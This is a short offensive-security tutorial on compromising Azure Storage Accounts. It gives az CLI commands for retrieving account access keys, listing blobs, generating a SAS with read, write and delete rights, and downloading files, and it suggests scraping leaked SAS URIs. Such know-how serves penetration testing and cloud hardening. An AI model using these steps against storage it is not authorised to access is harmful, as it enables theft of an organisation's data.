Compromising Azure Blobs and Storage Accounts

Storage Accounts are high-value targets in a tenant if an attacker is looking to exfiltrate sensitive data. What we'll focus on in this section is a common misconfiguration that exposes access keys for the storage account itself allowing an attacker to download files and data from it.

Storage Accounts are organized with a hierarchy:

• Accounts

  • Containers

    • Blobs

In the SA (Storage Account) we might have a otter account with 4 containers, each storing different kind of files.

Upon creation, every storage account can be interacted with using a default endpoint: https://<storage_account_name>.blob.core.windows.net. Just like a normal website, we are able to navigate the containers and blobs by appending /<container_name>/<blob_name>. When a SA is created, the user is given 3 choices of Public Access Level

1. No public read access

2. Public read access for blobs only

3. Public read access for both containers and blobs

Of course, the recommended setting is the first one but (at the time of writing this) the second one is the default setting.

Once we discover a SA, this can be done with DNS enumeration as well as other methods, we need to find out what containers are stored inside it

PS /home/otter> az storage account keys list --subscription <subscription_id> --account-name <storage_account_name>

If the account has been set up with the before-mentioned misconfiguration, this command will return Storage Access Keys we can use to pull data from the SA; it will look something like this

[
	{
		"creationTime": "<some_creation_time>",
		"keyName": "key1",
		"permissions": "FULL",
		"value": "<storage_access_key>"
	}
]

With this information we can list the files stored in the SA

PS /home/otter> az storage blob list --subscription <subscription_id> --account-name <storage_account_name> --account-key "<storage_access_key>" --container-name "<container_name>"

To download files / blobs from the container we discovered we can use a SAS (Shared Access Signature) URI or the AZCli; SAS URIs are sometimes "leaked" by companies on websites or other common locations so it's good practice to look out for those, they usually have the following format

https://<something>.blob.core.windows.net/?restype=service&comp=properties&sv=<somehing>&ss=<somehing>&st=<somehing>&se=<somehing>&sr=<somehing>&sp=<somehing>&sip=<somehing>&srp=<somehing>&sig=<somehing>

Parameter	Meaning
SV	Version of the storage service
SS	What the service can access
SRT	What the SAS URI applies to
ST	Validity date of the SAS URI
SE	Expiration date of the SAS URI
SP	Operation permissions (R/W)
SIP	IP range the requests will be accepted from (similar to a Conditional Access Policies)
SPR	Only allows HTTPS connections
SIG	Signature

This format might be used along with regular expressions to scrape possible SAS URIs.

If the SAS with the signature value is not exposed already, we can generate one

PS /home/otter> az storage blob generate-sas --subscription <subscription_id> --account-key <storage_access_key> --account-name <storage_account_name> --continer-name <container_name> --permissions acdrw --name <file_name>

Now we can use Azure Storage Explorer with the Connection string of

DefaultEndpointsProtocol=https;AccountName=<some_name>;AccountKey=<storage_account_key>;<generated_sas>

All of this can be skipped if we already know what files are present in which containers (this is a more unrealistic scenario but it can happen) and download the file with a simple web request

PS /home/otter> Invoke-WebRequest -Uri "https://<some_storage_name>.blob.core.windows.net/<container_name>/<file_name>" -OutFile otter.txt